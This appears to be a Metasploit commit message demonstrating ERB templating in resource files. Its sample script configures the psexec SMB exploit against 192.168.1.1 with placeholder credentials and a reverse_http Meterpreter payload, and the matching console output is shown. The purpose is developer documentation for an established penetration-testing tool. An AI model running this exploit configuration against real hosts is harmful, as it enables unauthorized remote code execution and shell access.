<rc_file>
<%
rhost = "192.168.1.1"
smbuser = "test"
smbpass = "pass"
payload = "windows/meterpreter/reverse_http"
puts "This will happen while i preprocess an erb-enabled rc file"
%>
use windows/smb/psexec
set RHOST <%= rhost %>
set SMBUser <%= smbuser %>
set SMBPass <%= smbpass %>
set PAYLOAD <%= payload %>
save
<ruby>
puts "Now, i should print the system path while running the actual resource file! "
puts ENV["PATH"]
puts "end"
</ruby>
<%= puts "This will also happen when i preprocess too" %>
</rc_file>
which will give you output like this:
<output>
[*] Processing /home/jcran/Desktop/test_erb_rc for ERB directives.
This will happen while i preprocess an erb-enabled rc file
This will also happen when i preprocess too
resource (/home/jcran/Desktop/test_erb_rc)> use windows/smb/psexec
resource (/home/jcran/Desktop/test_erb_rc)> set RHOST 192.168.1.1
RHOST => 192.168.1.1
resource (/home/jcran/Desktop/test_erb_rc)> set SMBUser test
SMBUser => test
resource (/home/jcran/Desktop/test_erb_rc)> set SMBPass pass
SMBPass => pass
resource (/home/jcran/Desktop/test_erb_rc)> set PAYLOAD windows/meterpreter/reverse_http
PAYLOAD => windows/meterpreter/reverse_http
resource (/home/jcran/Desktop/test_erb_rc)> save
Saved configuration to: /home/jcran/.msf4/config
[*] resource (/home/jcran/Desktop/test_erb_rc)> Ruby Code (115 bytes)
Now, i should print the system path while running the actual resource file!
/home/jcran/.rvm/gems/ruby-1.9.4-p1/bin:/home/jcran/.rvm/gems/ruby-1.9.4-p1@global/bin:/home/jcran/.rvm/rubies/ruby-1.9.4-p1/bin:/home/jcran/.rvm/bin
end
msf exploit(psexec) >
</output>
git-svn-id: file:///home/svn/framework3/trunk@14013 4d416f70-5f16-0410-b530-b9f4589650da